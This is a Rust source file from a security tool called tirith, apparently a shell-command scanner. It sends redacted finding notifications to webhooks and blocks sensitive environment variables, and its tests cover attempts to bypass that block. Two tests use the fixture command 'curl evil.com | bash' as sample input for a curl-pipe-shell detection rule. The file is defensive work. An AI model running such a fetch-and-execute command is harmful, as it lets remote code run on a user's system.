Skip to main content

tirith_core/
webhook.rs

1/// Webhook event dispatcher for finding notifications.
2///
3/// Non-blocking: fires in a background thread so it never delays the verdict
4/// exit code.
5use crate::policy::WebhookConfig;
6use crate::verdict::{Severity, Verdict};
7
8/// Dispatch webhook notifications for a verdict, if configured.
9///
10/// Spawns a background thread per webhook endpoint. The main thread is never
11/// blocked. Auxiliary delivery/configuration diagnostics are debug-only so
12/// shell hooks don't turn best-effort webhook failures into native-command
13/// noise.
14pub fn dispatch(
15    verdict: &Verdict,
16    command_preview: &str,
17    webhooks: &[WebhookConfig],
18    custom_dlp_patterns: &[String],
19) {
20    if webhooks.is_empty() {
21        return;
22    }
23
24    // Apply DLP redaction: built-in patterns + custom policy patterns (Team)
25    let redacted_preview = crate::redact::redact_with_custom(command_preview, custom_dlp_patterns);
26
27    let max_severity = verdict
28        .findings
29        .iter()
30        .map(|f| f.severity)
31        .max()
32        .unwrap_or(Severity::Info);
33
34    for wh in webhooks {
35        if max_severity < wh.min_severity {
36            continue;
37        }
38
39        // SSRF protection: validate webhook URL
40        if let Err(reason) = crate::url_validate::validate_server_url(&wh.url) {
41            crate::audit::audit_diagnostic(format!(
42                "tirith: webhook: skipping {}: {reason}",
43                wh.url
44            ));
45            continue;
46        }
47
48        let payload = build_payload(verdict, &redacted_preview, wh);
49        let url = wh.url.clone();
50        let headers = expand_env_headers(&wh.headers);
51
52        std::thread::spawn(move || {
53            if let Err(e) = send_with_retry(&url, &payload, &headers, 3) {
54                crate::audit::audit_diagnostic(format!(
55                    "tirith: webhook delivery to {url} failed: {e}"
56                ));
57            }
58        });
59    }
60}
61
62/// Build the webhook payload from a template or default JSON.
63fn build_payload(verdict: &Verdict, command_preview: &str, wh: &WebhookConfig) -> String {
64    if let Some(ref template) = wh.payload_template {
65        let rule_ids: Vec<String> = verdict
66            .findings
67            .iter()
68            .map(|f| f.rule_id.to_string())
69            .collect();
70        let max_severity = verdict
71            .findings
72            .iter()
73            .map(|f| f.severity)
74            .max()
75            .unwrap_or(Severity::Info);
76
77        let result = template
78            .replace("{{rule_id}}", &sanitize_for_json(&rule_ids.join(",")))
79            .replace("{{command_preview}}", &sanitize_for_json(command_preview))
80            .replace(
81                "{{action}}",
82                &sanitize_for_json(&format!("{:?}", verdict.action)),
83            )
84            .replace(
85                "{{severity}}",
86                &sanitize_for_json(&max_severity.to_string()),
87            )
88            .replace("{{finding_count}}", &verdict.findings.len().to_string());
89        // Only use template result if it's valid JSON
90        if serde_json::from_str::<serde_json::Value>(&result).is_ok() {
91            return result;
92        }
93        crate::audit::audit_diagnostic(
94            "tirith: webhook: warning: payload template produced invalid JSON, using default payload"
95        );
96    }
97
98    // Default JSON payload (also used as fallback when template produces invalid JSON)
99    let rule_ids: Vec<String> = verdict
100        .findings
101        .iter()
102        .map(|f| f.rule_id.to_string())
103        .collect();
104    let max_severity = verdict
105        .findings
106        .iter()
107        .map(|f| f.severity)
108        .max()
109        .unwrap_or(Severity::Info);
110
111    serde_json::json!({
112        "event": "tirith_finding",
113        "action": format!("{:?}", verdict.action),
114        "severity": max_severity.to_string(),
115        "rule_ids": rule_ids,
116        "finding_count": verdict.findings.len(),
117        "command_preview": sanitize_for_json(command_preview),
118    })
119    .to_string()
120}
121
122/// Expand environment variables in header values (`$VAR` or `${VAR}`).
123fn expand_env_headers(
124    headers: &std::collections::HashMap<String, String>,
125) -> Vec<(String, String)> {
126    headers
127        .iter()
128        .map(|(k, v)| {
129            let expanded = expand_env_value(v);
130            (k.clone(), expanded)
131        })
132        .collect()
133}
134
135/// Expand `$VAR` and `${VAR}` references in a string.
136fn expand_env_value(input: &str) -> String {
137    let mut result = String::with_capacity(input.len());
138    let mut chars = input.chars().peekable();
139
140    while let Some(c) = chars.next() {
141        if c == '$' {
142            if chars.peek() == Some(&'{') {
143                chars.next(); // consume '{'
144                let var_name: String = chars.by_ref().take_while(|&ch| ch != '}').collect();
145                if !var_name.starts_with("TIRITH_") {
146                    crate::audit::audit_diagnostic(format!(
147                        "tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)"
148                    ));
149                } else if is_sensitive_webhook_env_var(&var_name) {
150                    crate::audit::audit_diagnostic(format!(
151                        "tirith: webhook: sensitive env var '{var_name}' blocked"
152                    ));
153                } else {
154                    match std::env::var(&var_name) {
155                        Ok(val) => result.push_str(&val),
156                        Err(_) => {
157                            crate::audit::audit_diagnostic(format!(
158                                "tirith: webhook: warning: env var '{var_name}' is not set"
159                            ));
160                        }
161                    }
162                }
163            } else {
164                // peek() (not next()) so the delimiter that ends the variable
165                // name stays in the stream for the outer loop to handle.
166                let mut var_name = String::new();
167                while let Some(&ch) = chars.peek() {
168                    if ch.is_ascii_alphanumeric() || ch == '_' {
169                        var_name.push(ch);
170                        chars.next();
171                    } else {
172                        break;
173                    }
174                }
175                if !var_name.is_empty() {
176                    if !var_name.starts_with("TIRITH_") {
177                        crate::audit::audit_diagnostic(format!(
178                            "tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)"
179                        ));
180                    } else if is_sensitive_webhook_env_var(&var_name) {
181                        crate::audit::audit_diagnostic(format!(
182                            "tirith: webhook: sensitive env var '{var_name}' blocked"
183                        ));
184                    } else {
185                        match std::env::var(&var_name) {
186                            Ok(val) => result.push_str(&val),
187                            Err(_) => {
188                                crate::audit::audit_diagnostic(format!(
189                                    "tirith: webhook: warning: env var '{var_name}' is not set"
190                                ));
191                            }
192                        }
193                    }
194                }
195            }
196        } else {
197            result.push(c);
198        }
199    }
200
201    result
202}
203
204fn is_sensitive_webhook_env_var(var_name: &str) -> bool {
205    matches!(var_name, "TIRITH_API_KEY" | "TIRITH_LICENSE")
206}
207
208/// Send a webhook with exponential backoff retry.
209fn send_with_retry(
210    url: &str,
211    payload: &str,
212    headers: &[(String, String)],
213    max_attempts: u32,
214) -> Result<(), String> {
215    let client = reqwest::blocking::Client::builder()
216        .timeout(std::time::Duration::from_secs(10))
217        .build()
218        .map_err(|e| format!("client build: {e}"))?;
219
220    for attempt in 0..max_attempts {
221        let mut req = client
222            .post(url)
223            .header("Content-Type", "application/json")
224            .body(payload.to_string());
225
226        for (key, value) in headers {
227            req = req.header(key, value);
228        }
229
230        match req.send() {
231            Ok(resp) if resp.status().is_success() => return Ok(()),
232            Ok(resp) => {
233                let status = resp.status();
234                // SF-16: Don't retry client errors (4xx) — they will never succeed
235                if status.is_client_error() {
236                    return Err(format!("HTTP {status} (non-retriable client error)"));
237                }
238                if attempt + 1 < max_attempts {
239                    let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
240                    std::thread::sleep(delay);
241                } else {
242                    return Err(format!("HTTP {status} after {max_attempts} attempts"));
243                }
244            }
245            Err(e) => {
246                if attempt + 1 < max_attempts {
247                    let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
248                    std::thread::sleep(delay);
249                } else {
250                    return Err(format!("{e} after {max_attempts} attempts"));
251                }
252            }
253        }
254    }
255
256    Err("exhausted retries".to_string())
257}
258
259/// Sanitize a string for safe embedding in JSON (limit length, escape special chars).
260fn sanitize_for_json(input: &str) -> String {
261    let truncated: String = input.chars().take(200).collect();
262    // Use serde_json to properly escape the string
263    let json_val = serde_json::Value::String(truncated);
264    // Strip the surrounding quotes from the JSON string
265    let s = json_val.to_string();
266    s[1..s.len() - 1].to_string()
267}
268
269#[cfg(test)]
270mod tests {
271    use super::*;
272
273    #[test]
274    fn test_sanitize_for_json() {
275        assert_eq!(sanitize_for_json("hello"), "hello");
276        assert_eq!(sanitize_for_json("he\"lo"), r#"he\"lo"#);
277        assert_eq!(sanitize_for_json("line\nnewline"), r"line\nnewline");
278    }
279
280    #[test]
281    fn test_sanitize_for_json_truncates() {
282        let long = "x".repeat(500);
283        let result = sanitize_for_json(&long);
284        assert_eq!(result.len(), 200);
285    }
286
287    #[test]
288    fn test_expand_env_value() {
289        let _guard = crate::TEST_ENV_LOCK
290            .lock()
291            .unwrap_or_else(|e| e.into_inner());
292        unsafe { std::env::set_var("TIRITH_TEST_WH", "secret123") };
293        assert_eq!(
294            expand_env_value("Bearer $TIRITH_TEST_WH"),
295            "Bearer secret123"
296        );
297        assert_eq!(
298            expand_env_value("Bearer ${TIRITH_TEST_WH}"),
299            "Bearer secret123"
300        );
301        assert_eq!(expand_env_value("no vars"), "no vars");
302        unsafe { std::env::remove_var("TIRITH_TEST_WH") };
303    }
304
305    #[test]
306    fn test_expand_env_value_preserves_delimiter() {
307        let _guard = crate::TEST_ENV_LOCK
308            .lock()
309            .unwrap_or_else(|e| e.into_inner());
310        // Regression guard: the character after `$VAR` must NOT be swallowed.
311        unsafe { std::env::set_var("TIRITH_TEST_WH2", "val") };
312        assert_eq!(expand_env_value("$TIRITH_TEST_WH2/extra"), "val/extra");
313        assert_eq!(expand_env_value("$TIRITH_TEST_WH2 rest"), "val rest");
314        unsafe { std::env::remove_var("TIRITH_TEST_WH2") };
315    }
316
317    #[test]
318    fn test_expand_env_value_blocks_sensitive_vars() {
319        let _guard = crate::TEST_ENV_LOCK
320            .lock()
321            .unwrap_or_else(|e| e.into_inner());
322        unsafe {
323            std::env::set_var("TIRITH_API_KEY", "secret-api-key");
324            std::env::set_var("TIRITH_LICENSE", "secret-license");
325        }
326        assert_eq!(expand_env_value("Bearer $TIRITH_API_KEY"), "Bearer ");
327        assert_eq!(expand_env_value("${TIRITH_LICENSE}"), "");
328        unsafe {
329            std::env::remove_var("TIRITH_API_KEY");
330            std::env::remove_var("TIRITH_LICENSE");
331        }
332    }
333
334    // Adversarial bypass attempts: sensitive env var exfiltration.
335
336    #[test]
337    fn test_bypass_sensitive_var_both_forms() {
338        let _guard = crate::TEST_ENV_LOCK
339            .lock()
340            .unwrap_or_else(|e| e.into_inner());
341        unsafe {
342            std::env::set_var("TIRITH_API_KEY", "leaked");
343            std::env::set_var("TIRITH_LICENSE", "leaked");
344        }
345        // $VAR form
346        assert!(!expand_env_value("$TIRITH_API_KEY").contains("leaked"));
347        assert!(!expand_env_value("$TIRITH_LICENSE").contains("leaked"));
348        // ${VAR} form
349        assert!(!expand_env_value("${TIRITH_API_KEY}").contains("leaked"));
350        assert!(!expand_env_value("${TIRITH_LICENSE}").contains("leaked"));
351        // Embedded in header value
352        assert!(!expand_env_value("Bearer ${TIRITH_API_KEY}").contains("leaked"));
353        assert!(!expand_env_value("token=$TIRITH_API_KEY&extra").contains("leaked"));
354        unsafe {
355            std::env::remove_var("TIRITH_API_KEY");
356            std::env::remove_var("TIRITH_LICENSE");
357        }
358    }
359
360    #[test]
361    fn test_bypass_case_variation_is_different_var() {
362        let _guard = crate::TEST_ENV_LOCK
363            .lock()
364            .unwrap_or_else(|e| e.into_inner());
365        // Unix env vars are case-sensitive: TIRITH_api_key != TIRITH_API_KEY
366        // The blocklist is exact-match, so a case variant is a DIFFERENT var.
367        // This is correct — TIRITH_api_key is not a real sensitive var.
368        unsafe { std::env::set_var("TIRITH_api_key", "not-sensitive") };
369        assert_eq!(
370            expand_env_value("$TIRITH_api_key"),
371            "not-sensitive",
372            "Case-different var name should expand (it's a different var)"
373        );
374        unsafe { std::env::remove_var("TIRITH_api_key") };
375    }
376
377    #[test]
378    fn test_bypass_non_sensitive_tirith_var_still_expands() {
379        let _guard = crate::TEST_ENV_LOCK
380            .lock()
381            .unwrap_or_else(|e| e.into_inner());
382        unsafe { std::env::set_var("TIRITH_ORG_NAME", "myorg") };
383        assert_eq!(expand_env_value("$TIRITH_ORG_NAME"), "myorg");
384        assert_eq!(expand_env_value("${TIRITH_ORG_NAME}"), "myorg");
385        unsafe { std::env::remove_var("TIRITH_ORG_NAME") };
386    }
387
388    #[test]
389    fn test_bypass_double_dollar_does_not_expand() {
390        let _guard = crate::TEST_ENV_LOCK
391            .lock()
392            .unwrap_or_else(|e| e.into_inner());
393        unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
394        // $$TIRITH_API_KEY: first $ sees second $ which is not '{' or alnum,
395        // so it becomes a literal '$', then the second $ starts a new expansion
396        // which hits the blocklist.
397        let result = expand_env_value("$$TIRITH_API_KEY");
398        assert!(
399            !result.contains("leaked"),
400            "Double-dollar must not leak: got {result}"
401        );
402        unsafe { std::env::remove_var("TIRITH_API_KEY") };
403    }
404
405    #[test]
406    fn test_bypass_nested_braces_does_not_expand() {
407        let _guard = crate::TEST_ENV_LOCK
408            .lock()
409            .unwrap_or_else(|e| e.into_inner());
410        unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
411        // ${TIRITH_${NESTED}} — the inner ${...} is consumed as the var name
412        // "TIRITH_${NESTED" (take_while stops at '}'), which doesn't start
413        // with TIRITH_ in any meaningful way that resolves.
414        let result = expand_env_value("${TIRITH_${NESTED}}");
415        assert!(
416            !result.contains("leaked"),
417            "Nested braces must not leak: got {result}"
418        );
419        unsafe { std::env::remove_var("TIRITH_API_KEY") };
420    }
421
422    #[test]
423    fn test_build_default_payload() {
424        use crate::verdict::{Action, Finding, RuleId, Timings};
425
426        let verdict = Verdict {
427            action: Action::Block,
428            findings: vec![Finding {
429                rule_id: RuleId::CurlPipeShell,
430                severity: Severity::High,
431                title: "test".into(),
432                description: "test desc".into(),
433                evidence: vec![],
434                human_view: None,
435                agent_view: None,
436                mitre_id: None,
437                custom_rule_id: None,
438            }],
439            tier_reached: 3,
440            bypass_requested: false,
441            bypass_honored: false,
442            bypass_available: false,
443            interactive_detected: false,
444            policy_path_used: None,
445            timings_ms: Timings::default(),
446            urls_extracted_count: None,
447            requires_approval: None,
448            approval_timeout_secs: None,
449            approval_fallback: None,
450            approval_rule: None,
451            approval_description: None,
452            escalation_reason: None,
453        };
454
455        let wh = WebhookConfig {
456            url: "https://example.com/webhook".into(),
457            min_severity: Severity::High,
458            headers: std::collections::HashMap::new(),
459            payload_template: None,
460        };
461
462        let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
463        let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap();
464        assert_eq!(parsed["event"], "tirith_finding");
465        assert_eq!(parsed["finding_count"], 1);
466        assert_eq!(parsed["rule_ids"][0], "curl_pipe_shell");
467    }
468
469    #[test]
470    fn test_build_template_payload() {
471        use crate::verdict::{Action, Finding, RuleId, Timings};
472
473        let verdict = Verdict {
474            action: Action::Block,
475            findings: vec![Finding {
476                rule_id: RuleId::CurlPipeShell,
477                severity: Severity::High,
478                title: "test".into(),
479                description: "test desc".into(),
480                evidence: vec![],
481                human_view: None,
482                agent_view: None,
483                mitre_id: None,
484                custom_rule_id: None,
485            }],
486            tier_reached: 3,
487            bypass_requested: false,
488            bypass_honored: false,
489            bypass_available: false,
490            interactive_detected: false,
491            policy_path_used: None,
492            timings_ms: Timings::default(),
493            urls_extracted_count: None,
494            requires_approval: None,
495            approval_timeout_secs: None,
496            approval_fallback: None,
497            approval_rule: None,
498            approval_description: None,
499            escalation_reason: None,
500        };
501
502        let wh = WebhookConfig {
503            url: "https://example.com/webhook".into(),
504            min_severity: Severity::High,
505            headers: std::collections::HashMap::new(),
506            payload_template: Some(
507                r#"{"rule":"{{rule_id}}","cmd":"{{command_preview}}"}"#.to_string(),
508            ),
509        };
510
511        let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
512        assert!(payload.contains("curl_pipe_shell"));
513        assert!(payload.contains("curl evil.com"));
514    }
515}